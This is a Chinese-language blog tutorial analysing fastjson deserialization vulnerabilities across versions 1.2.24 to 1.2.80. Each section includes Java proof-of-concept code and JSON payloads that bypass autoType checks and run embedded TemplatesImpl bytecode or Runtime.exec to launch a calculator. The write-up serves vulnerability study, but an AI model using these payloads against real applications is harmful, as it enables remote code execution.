• 版本:jdk8u25
  • 依赖:fastjson的各个版本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
    <dependencies>
<!-- <dependency>-->
<!-- <groupId>com.alibaba</groupId>-->
<!-- <artifactId>fastjson</artifactId>-->
<!-- <version>1.2.24</version>-->
<!-- </dependency>-->
<!-- <dependency>-->
<!-- <groupId>com.alibaba</groupId>-->
<!-- <artifactId>fastjson</artifactId>-->
<!-- <version>1.2.25</version>-->
<!-- </dependency>-->
<!-- <dependency>-->
<!-- <groupId>com.alibaba</groupId>-->
<!-- <artifactId>fastjson</artifactId>-->
<!-- <version>1.2.42</version>-->
<!-- </dependency>-->
<!-- <dependency>-->
<!-- <groupId>com.alibaba</groupId>-->
<!-- <artifactId>fastjson</artifactId>-->
<!-- <version>1.2.43</version>-->
<!-- </dependency>-->
<!-- <dependency>-->
<!-- <groupId>com.alibaba</groupId>-->
<!-- <artifactId>fastjson</artifactId>-->
<!-- <version>1.2.47</version>-->
<!-- </dependency>-->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.80</version>
</dependency>
</dependencies>

上面的依赖,用哪个就把哪个的注释删掉,其他的注释

Java反序列化Fastjson详解

前置知识

反序列化

正常fastjson用两个函数反序列化字符串,分别是parse(String text)和parseObject(String text)他们两个的反序列化流程基本相同

都会在text中解析字符串获取@type指定的类并实例化,这里我会做个对比

1
2
3
4
5
6
7
	                     |   JSON.parse(String text)	        |  JSON.parseObject(String text)
返回值类型 | Object | JSONObject
是否使用@type实例化目标类 | 是,会解析@type并反射实例化类 | 是,解析逻辑与上相同
是否调用目标类的setter方法 | 是,用于给字段赋值 | 是,同样会反序列化赋值
是否调用目标类的getter方法 | 否,仅仅创建对象赋值,不取值 | 是,调用toJSON()强制转化成JSONObject时会触发getter
是否依赖JavaBean函数命名规范 | 是 | 是
作用 | 动态解析JSON内容,不关心类型 | 将JSON强转为JSONObject使用

JavaBean的函数命名规范是什么呢

  • getter命名规范:以get开头、第四个字母是大写的非静态、无参的,一定要有返回值的方法

  • setter命名规范:以set开头、第四个字母是大写的非静态、返回值为void或当前类、参数个数为1的方法

同时在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()实现了忽略_,|,-字符

意思是即使你的属性名叫n_a|m-e,它仍然会调用setName或getName

同时fastjson在反序列化时,如果参数类型为byte[]时,将会进行base64解码,对应的,在序列化时也会进行base64编码。

当然,如果在反序列化的时候遇到了没有setter方法的参数,fastjson提供了一个参数:Feature.SupportNonPublicField

加上这个参数后没有setter方法的参数会被反射赋值

序列化

这没什么可以长篇大论的,调用JSON.toJSONString(Object object)函数即可,如果想反序列化为AutoType,就加上SerializerFeature.WriteClassName参数

有一点需要注意一下的,在序列化类至json的时候需要调用getter方法获取参数,有时候这会提前触发链子

我们可以写个小测试

test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
import java.io.Serializable;

public class test {
public static class User implements Serializable {
public String name;
public User(){
}
public User(String name){
this.name=name;
}
public String getName() throws Exception{
System.out.print("getter down");
return this.name;
}
public void setName(String name){
System.out.print("setter down");
}
}
public static void main(String[] args) {
User user=new User("Nebu1ea");
String json=JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.print('\n'+json+'\n');
Object jsonObject=JSON.parse(json);
System.out.print('\t'+"parse complete"+'\n');
Object jsonObject1=JSONObject.parseObject(json);
System.out.print('\t'+"parseObject complete");
}
}

漏洞解析

fastjson1.2.24

就如前置知识里说道,parseObject会调用setter和getter函数,我们可以用它触发之前讲过的TemplateImp链子,因为TemplateImp里面有没有getter方法的函数,所以往往要手动序列化,还需注意一点,fastjson是getter触发,不经过readObject,所以_tfactory参数必须带上

fastjson1_2_24.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package test;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class fastjson1_2_24 {

public static void main(String[] args) throws Exception{

byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class"));

String payload= Base64.getEncoder().encodeToString(bytes);

String jsonString="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\""+payload+"\"]," +
"\"_name\": \"Nebu1ea\","+
"\"_outputProperties\":{},_tfactory:{}}\n";
System.out.print(jsonString);
Object jsonObject = JSON.parseObject(jsonString, Feature.SupportNonPublicField);
}
}

具体payload为

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEACWV2aWwuamF2YQwACQAKBwAhDAAiACMBAARjYWxjDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBAARldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAAHQABAAEAAAAFKrcAAbEAAAABAAwAAAAGAAEAAAAJAAEADQAOAAIACwAAABkAAAADAAAAAbEAAAABAAwAAAAGAAEAAAAOAA8AAAAEAAEAEAABAA0AEQACAAsAAAAZAAAABAAAAAGxAAAAAQAMAAAABgABAAAAEwAPAAAABAABABAACAASAAoAAQALAAAATwACAAEAAAASuAACEgO2AARXpwAISyq2AAaxAAEAAAAJAAwABQACAAwAAAAWAAUAAAAXAAkAGgAMABgADQAZABEAGwATAAAABwACTAcAFAQAAQAVAAAAAgAW"],"_name": "Nebu1ea","_outputProperties":{},_tfactory:{}}

当然,所有能通过setter和getter触发的链子全都可以用,这只是做个示范

fastjson1.2.25

影响的版本为1.2.25->1.2.41,只拿出1.2.25来列举

在这些版本中官方引入了checkAutoType安全机制,有个autoTypeSupport参数控制反序列化,有什么用呢,我们直接定位到com.alibaba.fastjson.parser.ParserConfig这个类

这两个参数,denyList是黑名单集合,默认有很多,另外一个acceptList是白名单,默认为空,我们接着步入判断函数checkAutoType

checkAutoType

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}

for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

if (clazz != null) {

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

return clazz;
}

先获取反序列化的类名,将类名中的’$’转化成’.’

判断autoTypeSupport是否为True,是则先判断是不是在白名单中,是则直接调用loadClass加载类,再判断是不是再黑名单中,是则抛出异常

上面条件不成立的情况下调用clazz=TypeUtils.getClassFromMapping(typeName);获取内部的mapping是否储存着对象,是则返回对象,否则null,正常都是null

接着如果clazz还是null,就调用自定义的deserializers的findClass加载这个类,加载出来了就返回,没有就null

接着判断autoTypeSupport是否为False,是则直接用黑名单判断

接着往下,如果autoTypeSupport为True或者expectClass != null任意一个成立,就调用loadClass加载类,我们进入loadClass查看内部逻辑:

loadClass

这一段是最重要的部分,因为太长了,只截了这一段

1
2
3
4
5
6
7
8
9
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}

if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

如果类名第一位是’[‘就去掉第一个’[‘后再次调用loadClass并存储再Array实例中返回

如果类名是L开始开始同时是;结束的就递归去掉头尾最后加载,那么我们就有思路了

在反序列化的类名前面加上L,后面加上;就可以绕过黑名单进入loadClass,前提是autoTypeSupport要为True

那么做个小测试

fastjson1_2_25.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class fastjson1_2_25 {
public static void main(String[] args) throws Exception{

byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class"));

String payload= Base64.getEncoder().encodeToString(bytes);

String jsonString="{\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\"," +
"\"_bytecodes\":[\""+payload+"\"]," +
"\"_name\": \"Nebu1ea\","+
"\"_outputProperties\":{},_tfactory:{}}\n";
System.out.print(jsonString);
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
Object jsonObject = JSON.parseObject(jsonString, Feature.SupportNonPublicField);
}
}

fastjson1.2.42

影响版本是1.2.25->1.2.42,在1.2.42这个版本的checkAutoType在黑白名单判断之前加上了这么个代码

1
2
3
4
5
6
7
8
9
10
11
12
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;

if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
className = className.substring(1, className.length() - 1);
}

截取className的第一个字符和BASIC异或并乘以PRIME,结果再和className的最后一个字符异或并乘以PRIME,如果结果是0x9198507b5af98f0L就去除头尾字符

说人话就是判断头尾字符是不是为L和;,是则率先去除

而且这个版本往后的所有黑白名单判断都是用hash判断的,非常难看

那么话接回来,提前去除是没有用的,因为最后的loadClass是递归去除头尾的,我们只需要双写或多写就能绕过

fastjson1_2_42.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class fastjson1_2_42 {
public static void main(String[] args) throws Exception{
byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class"));

String payload= Base64.getEncoder().encodeToString(bytes);

String jsonString="{\"@type\":\"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;\"," +
"\"_bytecodes\":[\""+payload+"\"]," +
"\"_name\": \"Nebu1ea\","+
"\"_outputProperties\":{},_tfactory:{}}\n";
System.out.print(jsonString);
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
Object jsonObject = JSON.parseObject(jsonString, Feature.SupportNonPublicField);
}
}

fastjson1.2.43

影响版本是1.2.25->1.2.43,这个版本的checkAutoType函数对头尾的判断变成了这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// 9195c07b5af5345
className = className.substring(1, className.length() - 1);
}

判断className头尾是否是L和;,如果是则判断第一个字符和第二个字符是否为LL,是则抛出异常,那么双写绕过就不能用了,堵死了这条路,但是在25的分析中我讲到过这一段代码:

1
2
3
4
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}

对首字母为[的情况下仍然有处理,这个也是能利用的,不过我没调试出具体逻辑,直接看exp

fastjson1_2_43.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class fastjson1_2_43 {
public static void main(String[] args) throws Exception{
byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class"));

String payload= Base64.getEncoder().encodeToString(bytes);

String jsonString="{\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[,{" +
"\"_bytecodes\":[\""+payload+"\"]," +
"\"_name\": \"Nebu1ea\","+
"\"_outputProperties\":{},_tfactory:{}}\n";
System.out.print(jsonString);
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
Object jsonObject = JSON.parseObject(jsonString, Feature.SupportNonPublicField);
}
}

fastjson1.2.47

漏洞点还是在checkAutoType中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

// 如果找到了对应的 class,则会进行 return
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

这段代码在判断AutoTypeSupport为False之前,为True

意思是从TypeUtils.mappings和deserializers中尝试查找要反序列化的类,如果找到了,则就会return

deserializers是这样赋值的:private final IdentityHashMap<Type, ObjectDeserializer> deserializers = new IdentityHashMap<Type, ObjectDeserializer>();

是个IdentityHashMap的实例,findClass是从实例中的buckets属性中获取类,而buckets只有这一个赋值

1
2
3
4
public IdentityHashMap(int tableSize){
this.indexMask = tableSize - 1;
this.buckets = new Entry[tableSize];
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public boolean put(K key, V value) {
final int hash = System.identityHashCode(key);
final int bucket = hash & indexMask;

for (Entry<K, V> entry = buckets[bucket]; entry != null; entry = entry.next) {
if (key == entry.key) {
entry.value = value;
return true;
}
}

Entry<K, V> entry = new Entry<K, V>(key, value, hash, buckets[bucket]);
buckets[bucket] = entry; // 并发是处理时会可能导致缓存丢失,但不影响正确性

return false;
}

这是我们不可控的,那只能看看TypeUtils.mappings可不可控

mappings是:private static ConcurrentMap<String,Class<?>> mappings = new ConcurrentHashMap<String,Class<?>>(16, 0.75f, 1);

ConcurrentMap实例,而loadClass函数恰巧有给mappings赋值的代码,我们可以查看

loadClass for mapping

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if(className == null || className.length() == 0){
return null;
}
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}

先从mapping里取Class,如果mappings里面没有同时类名正常,就会用输入的classloader加载类,加载完再判断输入的cache是否为ture,是则把加载过的class放到mappings中

那我们得寻找谁调用了loadClass或是它的重载函数,而且是要原本在mapping或deserializers本身就有的,我们可以定位到

com.alibaba.fastjson.serializer.MiscCodec这个类,在ParserConfig中我们可以看到他被加入进了deserializers

我们定位到它的deserialze函数,这个函数在被反序列化时会被调用,而它内部的中有这么一段代码

如果clazz是Class.class,就调用loadClass,参数为strVal,以及后面的类加载器,那如果这个strVal是我们的恶意类,就能直接写到mappings里面去

我们查看strVal的赋值,可以看到:

1
2
3
4
5
6
String strVal;

if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;

如果objVal是String的实例,就让strVal等于这个

我们再看objVal是哪来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Object objVal;

if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);

if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);

objVal = parser.parse();

parser.accept(JSONToken.RBRACE);
} else {
objVal = parser.parse();
}

如果当前状态是DefaultJSONParser.TypeNameRedirect,说明已经先解析了AutoType(‘@type’:’….’)

然后清空状态,获取token,如果当前token不为’,’则抛出报错,接着判断当前元素是否为val,不为则抛出报错

如果是val的话就把val对应的值复制给objVal,那么就很完美了,我们可控

现在可能有点混乱,我们整理一下

我们如果传入

1
2
3
4
{
"@type": "java.lang.Class",
"val": "User"
}

他会先通过deserializers.findClass(“java.lang.Class”);找到MiscCodec类,然后调用deserialize函数

在deserialize函数中会获取val的值,也就是”User”,赋值为objVal,又因为objVal为String,传递给了strVal

再获取clazz,也就是我们的java.lang.Class

最后调用TypeUtils.loadClass(“User”,parser.getConfig().getDefaultClassLoader()),将我们的User加到mapppings里面去,下一次反序列化时就能直接调用

那么上exp:

fastjson1_2_47.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.util.TypeUtils;

import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class fastjson1_2_47 {
public static void main(String[] args) throws Exception{
byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class"));

String payload= Base64.getEncoder().encodeToString(bytes);

String jsonString= "{" +
"\"1\":" +
"{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"}," +
"\"2\":" +
"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\""+payload+"\"]," +
"\"_name\": \"Nebu1ea\","+
"\"_outputProperties\":{},_tfactory:{}}"+
"}";
System.out.print(jsonString);
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
Object jsonObject = JSON.parseObject(jsonString, Feature.SupportNonPublicField);
}
}

具体payload为:{"1":{"@type":"java.lang.Class","val":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"},"2":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEACWV2aWwuamF2YQwACQAKBwAhDAAiACMBAARjYWxjDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBAARldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAAHQABAAEAAAAFKrcAAbEAAAABAAwAAAAGAAEAAAAJAAEADQAOAAIACwAAABkAAAADAAAAAbEAAAABAAwAAAAGAAEAAAAOAA8AAAAEAAEAEAABAA0AEQACAAsAAAAZAAAABAAAAAGxAAAAAQAMAAAABgABAAAAEwAPAAAABAABABAACAASAAoAAQALAAAATwACAAEAAAASuAACEgO2AARXpwAISyq2AAaxAAEAAAAJAAwABQACAAwAAAAWAAUAAAAXAAkAGgAMABgADQAZABEAGwATAAAABwACTAcAFAQAAQAVAAAAAgAW"],"_name": "Nebu1ea","_outputProperties":{}},_tfactory:{}}

fastjson1.2.80

影响版本: fastjson <= 1.2.80

在1.2.80这个版本,作者修复了1.2.47的漏洞,loadClass的重载方法的默认的调用改为不缓存类,这就导致了不能用之前方法反序列化类了

除此之外,作者还加上了SafeMode机制,打开了这个参数,任何AutoType的反序列化都会抛出异常

但还是有漏洞,还是在checkAutoType()中,我们直接看漏洞代码,在AutoTypeSupport为False的后面(所以前提是不在黑名单内)

1
2
3
4
5
6
7
8
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

如果expectClass不为null,clazz是expectClass的子类的话就返回clazz,我们现在查找谁调用了checkAutoValue并expectClass不为空

我们可以找到ThrowableDeserializer#deserialze()这个函数,它中间有这么一行代码:

1
2
3
4
5
6
7
8
9
10
lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);
if (JSON.DEFAULT_TYPE_KEY.equals(key)) {
if (lexer.token() == JSONToken.LITERAL_STRING) {
String exClassName = lexer.stringVal();
exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());
} else {
throw new JSONException("syntax error");
}
lexer.nextToken(JSONToken.COMMA);
}

先去除当前token,一般是”,”,意思是要解析下一个属性了,然后假如下一个key是@type,就会判断@type的下一个token是不是”:”,是则获取冒号后面的属性并调用checkAutoType(exClassName, Throwable.class, lexer.getFeatures())

此时只要保证exClassName不在黑名单内,并且是Throwable的子类即可成功绕过检测返回,然后在当前函数的最后会实例化并调用setter函数

大概思路就是这样,那么还有一个问题,该这么获取ThrowableDeserializer这个类?

我们可以定位到DefaultJSONParser.java的parseObject函数的这一部分

1
2
3
4
5
6
7
8
9
10
11
ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();
if (JavaBeanDeserializer.class.isAssignableFrom(deserClass)
&& deserClass != JavaBeanDeserializer.class
&& deserClass != ThrowableDeserializer.class) {
this.setResolveStatus(NONE);
} else if (deserializer instanceof MapDeserializer) {
this.setResolveStatus(NONE);
}
Object obj = deserializer.deserialze(this, clazz, fieldName);
return obj;

这一部分是通过clazz获取反序列化器,如果clazz是异常类,就会返回ThrowableDeserializer这个反序列化器,而恰好后面又调用了deserialze函数

clazz是啥呢?是json的第一个@type对应的值,我们只需要保证他能过第一次的checkAutoType就行了

那我们可以找到这个类”java.lang.Exception”,他在mapping中,可以顺利返回

那么到此为止就顺理成章了,第一次先解析 “@type”:”java.lang.Exception”,会返回一个ThrowableDeserializer并向后继续解析剩下的json

后面我们直接接上恶意类就行了,接下来看exp,我的恶意类是自己写的,好调试一点

fastjson1_2_80.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package test;

import com.alibaba.fastjson.JSON;

public class fastjson1_2_80 {
public static class ExecpetionTest extends Exception{
String name;
public void setName(String s) throws Exception{
Runtime.getRuntime().exec(s);
}
public ExecpetionTest(){
}
}
public static void main(String[] args) {
String payload="{\"@type\":\"java.lang.Exception\",\"@type\":\"test.fastjson1_2_80$ExecpetionTest\",\"name\":\"calc\"}";
JSON.parseObject(payload);
}
}


具体payload为:
{"@type":"java.lang.Exception","@type":"test.fastjson1_2_80$ExecpetionTest","name":"calc"}

结语

做个小结吧,因为代码审计能力还不够,只能跳着看,主要是没有耐心几百行几百行的审计代码

难度算是很高了我觉得,想要全部理解得花费十分大的精力以及时间

就此结束,Ciallo~~

更新于

请我喝[茶]~( ̄▽ ̄)~*

Nebu1ea 微信支付

微信支付

Nebu1ea 支付宝

支付宝

Nebu1ea 贝宝

贝宝